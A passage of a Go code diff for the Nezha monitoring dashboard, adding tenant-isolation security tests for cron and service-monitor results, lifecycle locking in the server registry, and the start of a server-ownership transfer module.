model.RoleAdmin}, + 100: {Role: model.RoleMember}, + }) + + memberCron := &model.Cron{ + Common: model.Common{ID: 42, UserID: 100}, + Command: "member-task", + Cover: model.CronCoverAlertTrigger, + } + cronClass := &CronClass{ + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{memberCron.ID: memberCron}, + }, + } + + cronClass.SendTriggerTasks([]uint64{memberCron.ID}, 9, 1) + + assertTaskCommand(t, stream, "member-task") +} + +func TestSendTriggerTasksIgnoresUnknownTaskIDs(t *testing.T) { + stream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 7, UserID: 200}, Name: "member-server"}, stream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }) + + cronClass := &CronClass{ + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{}, + }, + } + + cronClass.SendTriggerTasks([]uint64{12345}, 7, 200) + cronClass.SendTriggerTasks(nil, 7, 200) + + assertNoTask(t, stream) +} + +func TestSendTriggerTasksMixedCronIDsOnlyFiresAllowed(t *testing.T) { + stream := newCapturedTaskStream() + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 7, UserID: 200}, Name: "member-server"}, stream), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + }) + + memberCron := &model.Cron{ + Common: model.Common{ID: 7, UserID: 200}, + Command: "member-task", + Cover: model.CronCoverAlertTrigger, + } + adminCron := &model.Cron{ + Common: model.Common{ID: 8, UserID: 1}, + Command: "admin-task", + Cover: model.CronCoverAlertTrigger, + } + cronClass := &CronClass{ + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{memberCron.ID: memberCron, adminCron.ID: adminCron}, + }, + } + + cronClass.SendTriggerTasks([]uint64{memberCron.ID, adminCron.ID}, 7, 200) + + select { + case task := <-stream.tasks: + if task.GetData() != "member-task" { + t.Fatalf("expected member-task, got %q", task.GetData()) + } + case <-time.After(time.Second): + t.Fatalf("expected member-task to be sent") + } + assertNoTask(t, stream) +} + +func TestAlertTriggerCronResultAuthorizationConsumesOneDispatch(t *testing.T) { + cronClass := &CronClass{} + cronClass.reserveAlertTriggerCronResult(42, 7) + cronClass.reserveAlertTriggerCronResult(42, 7) + + if !cronClass.consumeAlertTriggerCronResult(42, 7) { + t.Fatal("expected first alert-trigger authorization to be consumed") + } + if !cronClass.consumeAlertTriggerCronResult(42, 7) { + t.Fatal("expected second alert-trigger authorization to be consumed") + } + if cronClass.consumeAlertTriggerCronResult(42, 7) { + t.Fatal("expected alert-trigger authorization to be consumed only once per dispatch") + } +} + +func TestAlertTriggerCronResultAuthorizationExpires(t *testing.T) { + cronClass := &CronClass{ + pendingAlertTriggerTasks: map[uint64]map[uint64][]time.Time{ + 42: {7: {time.Now().Add(-time.Second)}}, + }, + } + + if cronClass.consumeAlertTriggerCronResult(42, 7) { + t.Fatal("expired alert-trigger authorization must not be accepted") + } + if len(cronClass.pendingAlertTriggerTasks) != 0 { + t.Fatal("expired alert-trigger authorization must be pruned") + } +} + +func TestAlertTriggerCronResultAuthorizationRevokeRemovesLatestDispatch(t *testing.T) { + existingAuthorizationExpiresAt := time.Now().Add(time.Hour) + cronClass := &CronClass{ + pendingAlertTriggerTasks: map[uint64]map[uint64][]time.Time{ + 42: {7: {existingAuthorizationExpiresAt}}, + }, + } + cronClass.reserveAlertTriggerCronResult(42, 7) + + cronClass.revokeAlertTriggerCronResult(42, 7) + + authorizations := cronClass.pendingAlertTriggerTasks[42][7] + if len(authorizations) != 1 { + t.Fatalf("expected one previous alert-trigger authorization to remain, got %d", len(authorizations)) + } + if !authorizations[0].Equal(existingAuthorizationExpiresAt) { + t.Fatal("send failure rollback must remove the newest reserved authorization") + } +} + +func TestCronClassUpdatePrunesAlertTriggerCronResultAuthorization(t *testing.T) { + cronClass := &CronClass{ + Cron: cron.New(cron.WithSeconds()), + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{42: {Common: model.Common{ID: 42}}}, + }, + pendingAlertTriggerTasks: map[uint64]map[uint64][]time.Time{ + 42: {7: {time.Now().Add(time.Hour)}}, + }, + } + + cronClass.Update(&model.Cron{Common: model.Common{ID: 42}}) + + if len(cronClass.pendingAlertTriggerTasks) != 0 { + t.Fatal("cron update must prune old alert-trigger result authorizations") + } +} + +func TestCronClassDeletePrunesAlertTriggerCronResultAuthorization(t *testing.T) { + cronClass := &CronClass{ + Cron: cron.New(cron.WithSeconds()), + class: class[uint64, *model.Cron]{ + list: map[uint64]*model.Cron{42: {Common: model.Common{ID: 42}}}, + }, + pendingAlertTriggerTasks: map[uint64]map[uint64][]time.Time{ + 42: {7: {time.Now().Add(time.Hour)}}, + }, + } + + cronClass.Delete([]uint64{42}) + + if len(cronClass.pendingAlertTriggerTasks) != 0 { + t.Fatal("cron delete must prune alert-trigger result authorizations") + } +} + +// CanReportCronResult is the cron-side dual of canReportServiceResult: it gates +// agent-reported TaskTypeCommand results to only the cron/server pairs the +// dashboard actually fanned the task out to. Without these inbound checks any +// authenticated agent could fabricate a TaskResult for an arbitrary cron ID and +// poison LastResult / fire success/failure notifications belonging to another +// tenant. The tests below pin each Cover branch end-to-end against the dispatch +// logic in CronTrigger so the two sides stay symmetric. + +func TestCanReportCronResultRejectsNilCronOrReporter(t *testing.T) { + cr := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Cover: model.CronCoverAll} + reporter := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + + if CanReportCronResult(nil, reporter) { + t.Fatal("nil cron must be rejected — would dereference inside cover branches") + } + if CanReportCronResult(cr, nil) { + t.Fatal("nil reporter must be rejected") + } +} + +func TestCanReportCronResultRejectsForeignReporter(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + 200: {Role: model.RoleMember}, + }) + + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Cover: model.CronCoverAll, + } + foreign := &model.Server{Common: model.Common{ID: 1, UserID: 200}} + + if CanReportCronResult(cr, foreign) { + t.Fatal("foreign-user reporter must be rejected: CronTrigger never dispatched to it") + } +} + +func TestCanReportCronResultCronCoverAllRejectsReporterInDenyList(t *testing.T) { + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Cover: model.CronCoverAll, + Servers: []uint64{1}, + } + reporter := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + + if CanReportCronResult(cr, reporter) { + t.Fatal("CronCoverAll treats Servers as deny-list; reporter in the list must be rejected") + } +} + +func TestCanReportCronResultCronCoverAllAcceptsReporterNotInDenyList(t *testing.T) { + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Cover: model.CronCoverAll, + Servers: []uint64{99}, + } + reporter := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + + if !CanReportCronResult(cr, reporter) { + t.Fatal("CronCoverAll with reporter NOT in Servers must accept — CronTrigger dispatches to it") + } +} + +func TestCanReportCronResultCronCoverIgnoreAllAcceptsReporterInAllowList(t *testing.T) { + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Cover: model.CronCoverIgnoreAll, + Servers: []uint64{1}, + } + reporter := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + + if !CanReportCronResult(cr, reporter) { + t.Fatal("CronCoverIgnoreAll treats Servers as allow-list; reporter in the list must be accepted") + } +} + +func TestCanReportCronResultCronCoverIgnoreAllRejectsReporterOutsideAllowList(t *testing.T) { + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Cover: model.CronCoverIgnoreAll, + Servers: []uint64{99}, + } + reporter := &model.Server{Common: model.Common{ID: 1, UserID: 100}} + + if CanReportCronResult(cr, reporter) { + t.Fatal("CronCoverIgnoreAll with reporter NOT in Servers must reject — CronTrigger never dispatched to it") + } +} + +// failingTaskStream simulates a TaskStream whose Send always errors. CronTrigger +// uses this signal to revoke a reserved alert-trigger authorization, so the +// agent can't later attach to the cron via CanReportCronResult based on a +// dispatch that never actually reached the wire. +type failingTaskStream struct { + capturedTaskStream + sendErr error +} + +func newFailingTaskStream(err error) *failingTaskStream { + return &failingTaskStream{ + capturedTaskStream: capturedTaskStream{tasks: make(chan *pb.Task, 4)}, + sendErr: err, + } +} + +func (s *failingTaskStream) Send(task *pb.Task) error { + s.tasks <- task + return s.sendErr +} + +func TestCronTriggerRevokesAlertTriggerAuthorizationOnSendFailure(t *testing.T) { + failing := newFailingTaskStream(context.Canceled) + replaceServerSharedForSecurityTest(t, + withTaskStream(&model.Server{Common: model.Common{ID: 7, UserID: 100}, Name: "broken-server"}, failing), + ) + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 100: {Role: model.RoleMember}, + }) + + originalCronShared := CronShared + t.Cleanup(func() { CronShared = originalCronShared }) + CronShared = &CronClass{ + class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}}, + pendingAlertTriggerTasks: map[uint64]map[uint64][]time.Time{}, + } + + cr := &model.Cron{ + Common: model.Common{ID: 42, UserID: 100}, + Cover: model.CronCoverAlertTrigger, + } + + CronTrigger(cr, 7)() + + // drain the dispatched task — Send error is what we care about, not the payload + select { + case <-failing.tasks: + case <-time.After(time.Second): + t.Fatal("expected CronTrigger to call Send before reacting to the error") + } + + if CronShared.consumeAlertTriggerCronResult(42, 7) { + t.Fatal("Send failure must revoke the reserved alert-trigger authorization; otherwise a foreign agent could later report a result for a dispatch that never reached the wire") + } + if len(CronShared.pendingAlertTriggerTasks) != 0 { + t.Fatalf("expected pendingAlertTriggerTasks to be empty after revoke, got %d entries", len(CronShared.pendingAlertTriggerTasks)) + } +} + +func TestClassCheckPermission(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + }) + sharedClass := &ServerClass{ + class: class[uint64, *model.Server]{ + list: map[uint64]*model.Server{ + 1: {Common: model.Common{ID: 1, UserID: 200}}, + 2: {Common: model.Common{ID: 2, UserID: 1}}, + }, + }, + uuidToID: map[string]uint64{}, + } + + memberCtx, _ := gin.CreateTestContext(httptest.NewRecorder()) + memberCtx.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 200}, + Role: model.RoleMember, + }) + adminCtx, _ := gin.CreateTestContext(httptest.NewRecorder()) + adminCtx.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 1}, + Role: model.RoleAdmin, + }) + + if !sharedClass.CheckPermission(memberCtx, slices.Values([]uint64{1})) { + t.Fatal("expected member to access own resource") + } + if sharedClass.CheckPermission(memberCtx, slices.Values([]uint64{2})) { + t.Fatal("expected member to be denied foreign resource") + } + if !sharedClass.CheckPermission(memberCtx, slices.Values([]uint64{})) { + t.Fatal("expected empty iterator to be allowed") + } + if !sharedClass.CheckPermission(memberCtx, slices.Values([]uint64{999})) { + t.Fatal("expected unknown id to be ignored (vacuous true)") + } + if !sharedClass.CheckPermission(adminCtx, slices.Values([]uint64{1, 2})) { + t.Fatal("expected admin to access any resource") + } +} + +func TestServiceMonitorResultSkipsReporterOutsideServiceCover(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "covered-server"}, + &model.Server{Common: model.Common{ID: 2, UserID: 100}, Name: "uncovered-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 100}, + Name: "selected-only-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }) + + ss.Dispatch(serviceMonitorResult(2, 10, model.TaskTypeTCPPing, true)) + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, true)) + + waitForServiceHistory(t, 10, 1) + assertNoServiceHistory(t, 10, 2) +} + +func TestServiceMonitorResultSkipsCoveredReporterOwnedByAnotherUser(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "owner-server"}, + &model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "foreign-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 100}, + Name: "owner-only-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true, 2: true}, + }) + + ss.Dispatch(serviceMonitorResult(2, 10, model.TaskTypeTCPPing, true)) + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, true)) + + waitForServiceHistory(t, 10, 1) + assertNoServiceHistory(t, 10, 2) +} + +func TestServiceMonitorResultSkipsMismatchedTaskType(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "owner-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 100}, + Name: "http-service", + Type: model.TaskTypeHTTPGet, + Target: "https://example.invalid", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }) + + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, false)) + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeHTTPGet, true)) + + waitForTodayStats(t, ss, 10, 1, 0) +} + +func TestServiceMonitorResultSkipsUnknownReporter(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "owner-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 100}, + Name: "known-reporter-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }) + + ss.Dispatch(serviceMonitorResult(999, 10, model.TaskTypeTCPPing, true)) + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, true)) + + waitForServiceHistory(t, 10, 1) + assertNoServiceHistory(t, 10, 999) +} + +func TestServiceMonitorResultAllowsCoveredReporterOwnedByServiceOwner(t *testing.T) { + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "owner-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 100}, + Name: "owner-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{1: true}, + }) + + ss.Dispatch(serviceMonitorResult(1, 10, model.TaskTypeTCPPing, true)) + + waitForServiceHistory(t, 10, 1) +} + +func TestServiceMonitorResultAllowsCoveredReporterForAdminOwnedService(t *testing.T) { + replaceUserInfoMapForSecurityTest(t, map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + }) + ss := newServiceMonitorSecurityHarness(t, + &model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "member-server"}, + ) + addServiceMonitorSecurityService(t, ss, &model.Service{ + Common: model.Common{ID: 10, UserID: 1}, + Name: "admin-service", + Type: model.TaskTypeTCPPing, + Target: "example.invalid:443", + Duration: 3600, + Cover: model.ServiceCoverIgnoreAll, + SkipServers: map[uint64]bool{2: true}, + }) + + ss.Dispatch(serviceMonitorResult(2, 10, model.TaskTypeTCPPing, true)) + + waitForServiceHistory(t, 10, 2) +} + +func newServiceMonitorSecurityHarness(t *testing.T, servers ...*model.Server) *ServiceSentinel { + t.Helper() + + originalDB := DB + originalConf := Conf + originalCache := Cache + originalCronShared := CronShared + originalServerShared := ServerShared + originalServiceSentinelShared := ServiceSentinelShared + originalNotificationShared := NotificationShared + originalTSDBShared := TSDBShared + originalLoc := Loc + var sqlDBClose func() error + + t.Cleanup(func() { + DB = originalDB + Conf = originalConf + Cache = originalCache + CronShared = originalCronShared + ServerShared = originalServerShared + ServiceSentinelShared = originalServiceSentinelShared + NotificationShared = originalNotificationShared + TSDBShared = originalTSDBShared + Loc = originalLoc + if sqlDBClose != nil { + _ = sqlDBClose() + } + }) + + db, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + sqlDB, err := db.DB() + if err != nil { + t.Fatal(err) + } + sqlDB.SetMaxOpenConns(1) + sqlDBClose = sqlDB.Close + DB = db + if err := DB.AutoMigrate( + model.Server{}, + model.Service{}, + model.ServiceHistory{}, + model.Notification{}, + model.NotificationGroup{}, + model.NotificationGroupNotification{}, + ); err != nil { + t.Fatal(err) + } + + Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}} + Cache = cache.New(time.Minute, time.Minute) + CronShared = &CronClass{ + Cron: cron.New(cron.WithSeconds()), + class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}}, + } + NotificationShared = &NotificationClass{ + class: class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}}, + groupToIDList: map[uint64]map[uint64]*model.Notification{}, + idToGroupList: map[uint64]map[uint64]struct{}{}, + groupList: map[uint64]string{}, + } + TSDBShared = nil + Loc = time.UTC + + serverClass := &ServerClass{ + class: class[uint64, *model.Server]{ + list: make(map[uint64]*model.Server), + }, + uuidToID: make(map[string]uint64), + } + for _, server := range servers { + serverClass.list[server.ID] = server + } + ServerShared = serverClass + + bus := make(chan *model.Service, 1) + ss, err := NewServiceSentinel(bus) + if err != nil { + t.Fatal(err) + } + ServiceSentinelShared = ss + // LIFO Cleanup ordering: this Close() runs BEFORE the earlier t.Cleanup that + // restores Conf/Cache/CronShared/NotificationShared/TSDBShared, so the + // worker has fully exited before we swap those globals out. Skipping this + // step causes `go test -race` to flag the write-vs-read between the + // teardown and the still-running worker. + t.Cleanup(func() { ss.Close() }) + return ss +} + +func addServiceMonitorSecurityService(t *testing.T, ss *ServiceSentinel, service *model.Service) { + t.Helper() + + if err := DB.Create(service).Error; err != nil { + t.Fatal(err) + } + if err := ss.Update(service); err != nil { + t.Fatal(err) + } +} + +func serviceMonitorResult(reporter, serviceID uint64, taskType uint8, successful bool) ReportData { + return ReportData{ + Reporter: reporter, + Data: &pb.TaskResult{ + Id: serviceID, + Type: uint64(taskType), + Delay: 12, + Data: "service monitor result", + Successful: successful, + }, + } +} + +func waitForServiceHistory(t *testing.T, serviceID, serverID uint64) { + t.Helper() + + deadline := time.After(time.Second) + for { + var count int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", serviceID, serverID). + Count(&count).Error; err != nil { + t.Fatal(err) + } + if count > 0 { + return + } + + select { + case <-deadline: + t.Fatalf("expected service history for service %d from server %d", serviceID, serverID) + default: + time.Sleep(10 * time.Millisecond) + } + } +} + +func assertNoServiceHistory(t *testing.T, serviceID, serverID uint64) { + t.Helper() + + var count int64 + if err := DB.Model(&model.ServiceHistory{}). + Where("service_id = ? AND server_id = ?", serviceID, serverID). + Count(&count).Error; err != nil { + t.Fatal(err) + } + if count != 0 { + t.Fatalf("expected no service history for service %d from server %d, got %d", serviceID, serverID, count) + } +} + +func waitForTodayStats(t *testing.T, ss *ServiceSentinel, serviceID uint64, wantUp, wantDown uint64) { + t.Helper() + + deadline := time.After(time.Second) + for { + ss.serviceResponseDataStoreLock.RLock() + stats := ss.serviceStatusToday[serviceID] + var up, down uint64 + if stats != nil { + up = stats.Up + down = stats.Down + } + ss.serviceResponseDataStoreLock.RUnlock() + + if up == wantUp && down == wantDown { + return + } + if down > wantDown { + t.Fatalf("expected service %d down count %d, got %d", serviceID, wantDown, down) + } + + select { + case <-deadline: + t.Fatalf("expected service %d stats up=%d down=%d", serviceID, wantUp, wantDown) + default: + time.Sleep(10 * time.Millisecond) + } + } +} diff --git a/service/singleton/server.go b/service/singleton/server.go index f17c9f2f..a74a7f62 100644 --- a/service/singleton/server.go +++ b/service/singleton/server.go @@ -6,6 +6,7 @@ import ( "log" "slices" "strings" + "sync" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/pkg/ddns" @@ -15,6 +16,10 @@ import ( type ServerClass struct { class[uint64, *model.Server] + // lifecycleMu serializes changes to the authoritative server entries with + // synchronous ServiceSentinel report processing. + lifecycleMu sync.RWMutex + uuidToID map[string]uint64 sortedListForGuest []*model.Server @@ -30,18 +35,67 @@ func NewServerClass() *ServerClass { var servers []model.Server DB.Find(&servers) - for _, s := range servers { - innerS := s - model.InitServer(&innerS) - sc.list[innerS.ID] = &innerS + for i := range servers { + innerS := &servers[i] + model.InitServer(innerS) + sc.list[innerS.ID] = innerS sc.uuidToID[innerS.UUID] = innerS.ID } sc.sortList() + model.OwnerServerIDsLookup = sc.ownerServerIDs + model.AllServerIDsLookup = sc.allServerIDs + model.OwnerIsAdminLookup = ownerIsAdmin + return sc } +func (c *ServerClass) ownerServerIDs(ownerUID uint64) []uint64 { + var ids []uint64 + c.Range(func(id uint64, s *model.Server) bool { + if s != nil && s.GetUserID() == ownerUID { + ids = append(ids, id) + } + return true + }) + return ids +} + +func (c *ServerClass) allServerIDs() []uint64 { + var ids []uint64 + c.Range(func(id uint64, s *model.Server) bool { + if s != nil { + ids = append(ids, id) + } + return true + }) + return ids +} + +func ownerIsAdmin(ownerUID uint64) bool { + return userIsAdmin(ownerUID) +} + +func (c *ServerClass) lockLifecycleRead() { + c.lifecycleMu.RLock() +} + +func (c *ServerClass) unlockLifecycleRead() { + c.lifecycleMu.RUnlock() +} + +func (c *ServerClass) lockLifecycleWrite() { + c.lifecycleMu.Lock() +} + +func (c *ServerClass) unlockLifecycleWrite() { + c.lifecycleMu.Unlock() +} + func (c *ServerClass) Update(s *model.Server, uuid string) { + c.lockLifecycleWrite() + defer c.unlockLifecycleWrite() + c.listMu.Lock() c.list[s.ID] = s @@ -61,11 +115,17 @@ func (c *ServerClass) Update(s *model.Server, uuid string) { } func (c *ServerClass) Delete(idList []uint64) { + c.lockLifecycleWrite() + defer c.unlockLifecycleWrite() + c.listMu.Lock() for _, id := range idList { - serverUUID := c.list[id].UUID - delete(c.uuidToID, serverUUID) + s, ok := c.list[id] + if !ok { + continue + } + delete(c.uuidToID, s.UUID) delete(c.list, id) } @@ -74,6 +134,17 @@ func (c *ServerClass) Delete(idList []uint64) { c.sortList() } +// setUserID updates in-memory ownership under the server lifecycle lock so a +// transfer cannot change authorization during synchronous report processing. +func (c *ServerClass) setUserID(id, userID uint64) { + c.lockLifecycleWrite() + defer c.unlockLifecycleWrite() + + if s, ok := c.Get(id); ok && s != nil { + s.SetUserID(userID) + } +} + func (c *ServerClass) GetSortedListForGuest() []*model.Server { c.sortedListMu.RLock() defer c.sortedListMu.RUnlock() @@ -93,7 +164,7 @@ func (c *ServerClass) UpdateDDNS(server *model.Server, ip *model.IP) error { confServers := strings.Split(Conf.DNSServers, ",") ctx := context.WithValue(context.Background(), ddns.DNSServerKey{}, utils.IfOr(confServers[0] != "", confServers, utils.DNSServers)) - providers, err := DDNSShared.GetDDNSProvidersFromProfiles(server.DDNSProfiles, utils.IfOr(ip != nil, ip, &server.GeoIP.IP)) + providers, err := DDNSShared.GetDDNSProvidersFromProfiles(server.DDNSProfiles, utils.IfOr(ip != nil, ip, &server.GeoIP.IP), server.GetUserID()) if err != nil { return err } diff --git a/service/singleton/server_delete_missing_test.go b/service/singleton/server_delete_missing_test.go new file mode 100644 index 00000000..5a40ccde --- /dev/null +++ b/service/singleton/server_delete_missing_test.go @@ -0,0 +1,32 @@ +package singleton + +import ( + "testing" + + "github.com/nezhahq/nezha/model" +) + +func TestServerClassDeleteMissingIDNoPanic(t *testing.T) { + c := &ServerClass{ + class: class[uint64, *model.Server]{ + list: map[uint64]*model.Server{ + 1: {Common: model.Common{ID: 1}, UUID: "uuid-1"}, + }, + }, + uuidToID: map[string]uint64{"uuid-1": 1}, + } + + c.Delete([]uint64{999999}) + + if _, ok := c.list[1]; !ok { + t.Fatalf("existing server 1 must remain after deleting a non-existent id") + } + + c.Delete([]uint64{1, 424242}) + if _, ok := c.list[1]; ok { + t.Fatalf("server 1 should be removed") + } + if _, ok := c.uuidToID["uuid-1"]; ok { + t.Fatalf("uuid mapping for server 1 should be removed") + } +} diff --git a/service/singleton/server_transfer.go b/service/singleton/server_transfer.go new file mode 100644 index 00000000..cef41476 --- /dev/null +++ b/service/singleton/server_transfer.go @@ -0,0 +1,1447 @@ +package singleton + +import ( + "errors" + "fmt" + "log" + "sort" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/goccy/go-json" + "golang.org/x/mod/semver" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + pb "github.com/nezhahq/nezha/proto" +) + +// transferHandshakeSecretLength matches model.DefaultAgentSecretLength so +// agent-side validation that expects char(32) accepts handshake secrets +// without a special case. +const transferHandshakeSecretLength = 32 + +// MinServerTransferAgentVersion is the minimum agent build version that +// recognises TaskTypeServerTransferApply. Pre-transfer agents see the type +// fall through their `switch task.GetType()` default and never reply, so +// dashboard would wait the full 24h timeout sweep. Refuse the transfer +// up-front instead, with a clear operator-facing reason. +const MinServerTransferAgentVersion = "v1.18.0" + +// ServerTransferShared owns the lifecycle of in-flight ServerTransfer rows: +// in-memory pending index used by auth tolerance, state-machine transitions +// (verified / failed / timeout / cancelled), best-effort ApplyConfig push to +// the affected agent, and a fan-out broker for the dashboard WebSocket. +var ServerTransferShared *ServerTransferClass + +// ServerTransferStreamRevocationHook is installed by the rpc service at +// startup. It is invoked whenever a transfer transition (Register on +// Initiate, revertTransition on Cancel/Fail/Timeout, OnServersDeleted) +// rotates a server's effective ownership; the rpc package closes every +// IOStream whose targetServerID matches, so a terminal/file-manager/NAT +// session opened by the old owner cannot survive into the new owner's +// tenancy. The dashboard package leaves this nil when running without +// the rpc service (tests). +// +// Singleton can't import rpc directly without a cycle, so we expose the +// hook as a package-level function variable and let cmd/dashboard/rpc +// wire it in ServeRPC. +var ServerTransferStreamRevocationHook func(serverID uint64) + +// ServerTransferRevokeStreamsForServer is the dispatch entry the +// state-machine calls. It is safe to call when no hook is installed +// (tests, headless dashboard); revocation simply becomes a no-op. +func ServerTransferRevokeStreamsForServer(serverID uint64) { + hook := ServerTransferStreamRevocationHook + if hook == nil { + return + } + hook(serverID) +} + +// defaultServerTransferTimeout is the upper bound a Pending transfer may live +// before being auto-failed. Chosen at 24h so an agent that's offline at the +// time of transfer still has a generous window to come back online and pick +// up its new credentials. Cancellable mid-window. +const defaultServerTransferTimeout = 24 * time.Hour + +// serverTransferTimeoutTickInterval governs how often the timeout sweeper +// runs. 30s gives near-instant detection on the (rare) timeout cases without +// hammering the DB on a system that's idle most of the time. +const serverTransferTimeoutTickInterval = 30 * time.Second + +const defaultRevertDeliveryRecoveryWindow = defaultServerTransferTimeout + +// ServerTransferClass is the singleton holding pending transfers and their +// subscribers. All mutating operations go through methods so DB and in-memory +// state stay in sync. +type ServerTransferClass struct { + mu sync.RWMutex + pending map[uint64]*model.ServerTransfer + revertDeliveries map[uint64]*model.ServerTransfer + // revertRecovery holds RevertHandshakeSecrets the dashboard has pushed + // but the agent has not yet acknowledged, in the window between Cancel/ + // Fail/Timeout and either the agent's reconnect (which MarkRevertDelivered + // promotes) or expiry. It is consulted by auth via LookupByRevertHandshakeSecret + // alongside revertDeliveries, but unlike revertDeliveries it is not used + // to drive new ApplyConfig pushes — that distinction is what lets + // Register clear revertDeliveries (so a stale pushRevertIfOnline cannot + // overwrite a freshly-applied new HandshakeSecret on the agent) while + // still keeping the auth recovery channel open for the agent that may + // still hold the old RevertHandshakeSecret on disk. + // terminalSecretRecovery holds the just-terminated transfer for each + // server so the agent can authenticate during the bounded recovery + // window even after Cancel/Fail/Timeout. One slot per server covers + // BOTH per-transfer secrets simultaneously: + // + // forward (t.HandshakeSecret) — agent committed it to disk via + // the 10s reload timer before the + // dashboard observed MarkVerified. + // Auth admits it but does NOT + // promote, so RequestTask runs + // OnAgentReconnect and the + // rollback ApplyConfig swaps the + // agent onto the revert secret. + // + // revert (t.RevertHandshakeSecret) — dashboard pushed the rollback; + // the agent has 10s before its + // reload commits. Auth admits the + // revert secret and on success + // promotes it (MarkRevertDelivered) + // into verifiedHandshakes — that + // is the agent's stable credential + // from there on. + // + // One slot, two kinds, same TTL (defaultRevertDeliveryRecoveryWindow), + // same eviction triggers (Register on a NEW transfer for this server + // for the forward kind only — see below — / MarkRevertDelivered / + // MarkVerified / OnServersDeleted). Register-on-Retry intentionally + // preserves the slot so the agent's still-in-flight rollback can + // recover even while a fresh pending row is being set up. + // + // SECURITY: only revertTransition populates this map. A direct DB poke + // to a terminal status (the attacker-reuse model exercised by + // TestAuthHandshakeSecretRejectedAfterTransferTerminated) never reaches + // this code path, so a stolen per-transfer secret cannot authenticate + // even if the attacker can forge a terminal row in the DB. + terminalSecretRecovery map[uint64]*model.ServerTransfer + // verifiedHandshakes maps serverID -> the HandshakeSecret of the most + // recent Verified transfer that landed on this server. PushIfOnline + // delivers ONLY the per-transfer HandshakeSecret to the agent, never a + // long-term user-global AgentSecret, so once MarkVerified completes the + // agent's persistent on-disk credential for this server IS the handshake + // secret. Auth has to keep accepting it for that (serverID, secret) pair + // on every subsequent reconnect, or the agent silently locks itself out + // the next time the gRPC stream drops. Invalidated when a new transfer + // is initiated for the same server (Initiate / Register). + verifiedHandshakes 